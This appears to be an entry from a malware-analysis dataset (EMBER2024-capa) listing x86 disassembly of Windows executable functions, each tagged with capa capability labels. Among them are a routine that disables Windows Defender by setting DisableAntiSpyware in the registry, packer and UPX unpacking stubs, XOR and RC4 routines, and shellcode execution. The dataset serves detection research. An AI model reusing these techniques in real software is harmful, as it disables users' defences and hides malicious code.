joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100c2614
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x100e47a4], 0
mov dword [0x100e47a8], 0
mov dword [0x100e47b4], 0
mov dword [0x100e479c], 0x127b
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x100c275f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add edx, 1
mov edi, ecx
add edi, 1
mov dword [ebp - 0x2c], eax
mov eax, edx
cdq
idiv esi
mov dword [0x100e47a4], edx
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x2c]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x100e47a8], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x100e47ac], cl
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x100e47ac]
mov edx, dword [0x100e47a8]
mov byte [ebx + edx], cl
mov edx, dword [0x100e47a4]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x100e47a8]
movzx ecx, byte [ebx + ecx]
add ecx, edx
mov dword [0x100e479c], 0x114e
and ecx, 0xff
mov dword [0x100e47b4], ecx
mov dword [0x100e47a0], 0x2fb
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x30]
mov dl, byte [edx + esi]
xor dl, byte [ebx + ecx]
mov ecx, dword [ebp - 0x1c]
mov byte [ecx + esi], dl
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x38], edi
je 0x100c275f
mov eax, dword [0x100e47a4]
mov ecx, dword [0x100e47a8]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], edx
jmp 0x100c2677
mov dword [0x100e47a0], 0x163b
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1002b6b
Capabilities:
Packed with generic packer

Disassembly:
push 1
push 0
push 0
jmp loc.01023292

Function at 0x1004095
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax + 0x159ace9], dl
add byte [eax + 0x107d9e9], dl
add bl, al
mov esi, dword [ebp + 8]
push 4
jmp fcn.0102366f

Function at 0x1004d28
Capabilities:
Packed with generic packer

Disassembly:
add byte [ebx - 0x3da2f73c], al
add al, 0
invalid
invalid
invalid

Function at 0x1005c94
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
jmp 0x1021b9f

Function at 0x1012968
Capabilities:
Packed with generic packer

Disassembly:
push ds
pop ebx
add dword [eax], eax
nop
jmp 0x1024ba5
push eax
push ebx
push 0x41ec80
push 0x409180
push 0x422ec0
push eax
push ebx
add esp, 0x38
leave
popal
popfd
ja 0x1012965

Function at 0x101307e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push eax
push ebx
call dword [esi + 0x3c]
mov ecx, dword [edi + 0x64]
cmp ecx, 0x1000
ja 0x10130c2
push ecx
push 0x44
push edi
push ebx
call dword [esi + 0x34]
sub esp, 0x100
mov eax, esp
push 0
jmp 0x1025551
add esp, 0x100
push ebx
call dword [esi + 0x40]
popal
leave
ret 4
popfd
shr edx, cl
or dword [eax + 8], edx
jmp 0x10050ce

Function at 0x10136ff
Capabilities:
Packed with generic packer

Disassembly:
push es
add byte [edi], al
adc byte [eax], al
add edx, dword [eax]
add byte [ebx], al
and byte [eax], al
add al, 0x40
add byte [edx], al
adc byte [eax], al
add eax, dword [edx]
add byte [edx], al
add dword [eax], eax
pop es
add eax, dword [eax]
add dword [edx], ecx
add byte [esi], al
push eax
add byte [ebx], al
add al, 0
push es
add al, byte [eax]
add eax, 0x20020010
add byte [eax + edx], al
add byte [edx], al
adc byte [eax], al
push es
adc byte [eax], al
or al, 0x30
add byte [edx], al
dec esi
jmp 0x1023659
invalid
xor eax, eax
mov edi, 0x40fe9c
mov ecx, 0x413498
cmp ecx, edi
add esp, 8
leave
popal

Function at 0x101379a
Capabilities:
Packed with generic packer

Disassembly:
add byte [edx], al
push eax
add bh, bh
add bh, bh
jmp 0x1020210
invalid

Function at 0x101385c
Capabilities:
Packed with generic packer

Disassembly:
jmp loc.01024bea
jmp 0x1014c4f
mov edx, 0x1000002
xor al, 0
add esp, 0xc
leave
popal
popfd
jbe 0x1004810
jmp fcn.01004724

Function at 0x1013c51
Capabilities:
Packed with generic packer

Disassembly:
add byte [ecx], al
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
push 0x8001
push 8
push 0x2b4
push eax
push 0x409264
push 0x40924c
push 0x46adc0
push eax
mov edi, 0x4c30a0
push edi
mov eax, edi
add esp, 0x30
leave
popal
popfd
jmp dword [edx*4 + 0x1005950]
Function at 0x10038da1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x10038dc5
xor eax, eax
jmp 0x10038f23
push 1
push 0x6f94
lea eax, [ebp - 0x10]
push eax
push 0x37ed
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 8]
push eax
push 0x6be
call fcn.10037054
add esp, 0x1c
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x10038dfc
xor eax, eax
jmp 0x10038f23
push dword [ebp - 8]
push 0x10ae
push 0x38d7
push 1
lea eax, [ebp - 0xc]
push eax
call fcn.10036d8f
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x10038e24
xor eax, eax
jmp 0x10038f23
push 0x1903
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 4]
push eax
push 0x5a29
push 1
lea eax, [ebp - 8]
push eax
push 0x1b4b
lea eax, [ebp - 0xc]
push eax
call fcn.100371d2
add esp, 0x24
push 0x2bb0
push dword [ebp - 8]
push dword [ebp - 4]
push 0
push dword [ebp + 8]
call fcn.1003250d
add esp, 0x14
lea eax, [ebp - 8]
push eax
push 0x6f8
push 0x6c86
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 0x1c]
push eax
call fcn.10037285
add esp, 0x18
push 0x330c
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp - 0x1c]
push eax
call fcn.100372f4
add esp, 0x10
push dword [ebp - 4]
call fcn.10036abd
pop ecx
test eax, eax
jne 0x10038eb1
xor eax, eax
jmp 0x10038f23
push 1
push 0x3fa8
lea eax, [ebp - 4]
push eax
push 0x26ec
call fcn.100383ab
add esp, 0x10
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x10038f0b
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x14], ecx
jne 0x10038ee8
xor eax, eax
jmp 0x10038f23
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x10038f01
xor eax, eax
jmp 0x10038f23
mov eax, dword [ebp - 4]
mov dword [eax + 0x10], 1
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x10038f1c
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
jmp 0x10038f20
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret
Function at 0x1004d846
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1004d864
push 0x20c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
jmp 0x1004d88d
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1004d88d
push 0
push 0
push 0x1544
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esp, ebp
pop ebp
ret
Function at 0x1007e051
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1009138c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.10078684
mov dword [ebp - 0x14], eax
cmp dword [0x13c6cd98], esi
jne 0x1007e144
push 0x800
push esi
push 0x1000aaac
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1007e0d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1007e224
push esi
push esi
push 0x1000aaac
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1007e224
push 0x1000aac4
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1007e224
push eax
call ebx
push 0x1000aad0
push edi
mov dword [0x13c6cd98], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x1000aae0
push edi
mov dword [0x13c6cd9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x1000aaf4
push edi
mov dword [0x13c6cda0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x13c6cda8], eax
test eax, eax
je 0x1007e141
push 0x1000ab10
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x13c6cda4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1007e169
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1007e15c
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1007e17e
push 4
pop eax
jmp 0x1007e226
cmp dword [ebp - 0x14], esi
je 0x1007e17e
push dword [0x13c6cd98]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1007e163
mov eax, dword [0x13c6cda4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1007e1dc
cmp dword [0x13c6cda8], edi
je 0x1007e1dc
push eax
call ebx
push dword [0x13c6cda8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1007e1dc
test eax, eax
je 0x1007e1dc
call ecx
test eax, eax
je 0x1007e1d1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1007e1d1
test byte [ebp - 8], 1
jne 0x1007e1dc
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1007e20c
mov eax, dword [0x13c6cd9c]
cmp eax, edi
je 0x1007e209
push eax
call ebx
test eax, eax
je 0x1007e209
call eax
mov esi, eax
test esi, esi
je 0x1007e209
mov eax, dword [0x13c6cda0]
cmp eax, edi
je 0x1007e209
push eax
call ebx
test eax, eax
je 0x1007e209
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x13c6cd98]
call ebx
test eax, eax
je 0x1007e224
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1007e226
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call main
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Disable windows defender features via registry on windows
Execute command
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x50
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x4c], eax
mov eax, dword [0x403170]
movups xmm0, xmmword [str.SOFTWAREPoliciesMicrosoftWindows_Defender]
push 0
mov dword [esp + 0x3c], eax
mov al, byte [0x403174]
mov byte [esp + 0x40], al
lea eax, [esp + 0xc]
push eax
push 0
push 0xf003f
push 0
movups xmmword [esp + 0x24], xmm0
push 0
movups xmm0, xmmword [0x403158]
push 0
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], 0
movups xmmword [esp + 0x3c], xmm0
push eax
movq xmm0, qword [0x403168]
push 0x80000002
mov dword [esp + 0x30], 1
movq qword [esp + 0x54], xmm0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4010f3
push 4
lea eax, [esp + 0x10]
push eax
push 4
push 0
push str.DisableAntiSpyware
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0x401440
test eax, eax
je 0x4010dd
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Hata:_Registry_anahtar__ayarlanamad_:
push eax
push 0x401440
call fcn.00401210
push ecx
lea edx, [esp + 0x20]
mov ecx, eax
call fcn.00401210
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._tERROR:
mov ecx, eax
jmp 0x401104
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Ba_ar_:_Anahtar_ayarland_
call fcn.00401210
add esp, 4
jmp 0x401111
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Hata:_Registry_anahtar__olu_turulamad__veya_a
push 0x401440
push eax
call fcn.00401210
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [esp + 8]
test eax, eax
je 0x401128
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [esp + 0x50]
add esp, 4
xor ecx, esp
xor eax, eax
call fcn.0040146f
mov esp, ebp
pop ebp
ret
Function at 0x401c7a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401cb9
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401cb9
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401cb9
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401cb9
cmp dword [ecx + 0x74], 0xe
jbe 0x401cb9
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x50ed00
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8000]
push edi
or ebp, 0xffffffff
jmp 0x50ed22
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50ed29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50ed18
mov eax, 1
add ebx, ebx
jne 0x50ed3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50ed30
jne 0x50ed4c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50ed30
xor ecx, ecx
sub eax, 3
jb 0x50ed60
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50edd2
mov ebp, eax
add ebx, ebx
jne 0x50ed6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x50ed78
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x50ed9c
inc ecx
add ebx, ebx
jne 0x50ed88
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50ed7d
jne 0x50ed99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50ed7d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50edbc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50edad
jmp 0x50ed1e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50edbc
add edi, ecx
jmp 0x50ed1e
pop esi
mov edi, esi
mov ecx, 0x101
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x50edda
cmp byte [edi], 1
jne 0x50edda
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x50eddf
lea edi, [esi + 0xc000]
mov eax, dword [edi]
or eax, eax
je 0x50ee57
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe514]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe58c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50ee0c
mov ecx, edi
jns 0x50ee3b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe590]
or eax, eax
je 0x50ee51
mov dword [ebx], eax
add ebx, 4
jmp 0x50ee29
call dword [esi + 0xe594]
popal
jmp 0x503280

Function at 0x43b63c
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop ecx
sub edi, esi
call fcn.0043b671
or edi, esi
sub esi, 1
xor dword [edx], ecx
sub esi, esi
and esi, edi
dec esi
add edx, 1
sub esi, esi
cmp edx, ebx
jne fcn.0043b63c
or edi, edi
sub esi, 0x2eeb37c5
ret
Function at 0x8eb370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x8eb38e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x914074
push ecx
mov edi, eax
call fcn.008ff198
mov esi, eax
add esp, 8
test esi, esi
jne 0x8eb3cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.008ff02e
push esi
call fcn.008fefb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x8ee850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x8ee8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x919720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x8ee8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.008ff1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x8ee8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x919720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x8ee92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00900082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x8ee957
mov word [eax], si
add eax, 2
push eax
call fcn.00900030
add esp, 4
jmp 0x8ee959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x8ee8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x8ee8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x8eeff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x8ef080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0x8ef0c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0x914458
push ecx
call fcn.008ff1e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.008ff1e1
add esp, 0x10
jmp 0x8ef0d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.008ff20b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.008fedff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.008ef050
mov eax, dword [0x919728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0x8ef13b
push esi
call fcn.008eefb0
add esp, 4
mov dword [0x919728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0x8ef14c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.008eeff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0x8f2440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0x8f24b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x8f248e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x8f2471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x8f247e
add edx, ecx
cmp ebx, edx
jb 0x8f248a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x8f2467
xor ecx, ecx
jmp 0x8f24a2
test eax, eax
jne 0x8f2492
xor ecx, ecx
jmp 0x8f24a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.008f23c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x8f28f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x8f2921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0x8f2946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x8f296e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0x8f2993
push ecx
push esi
call fcn.008f24c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret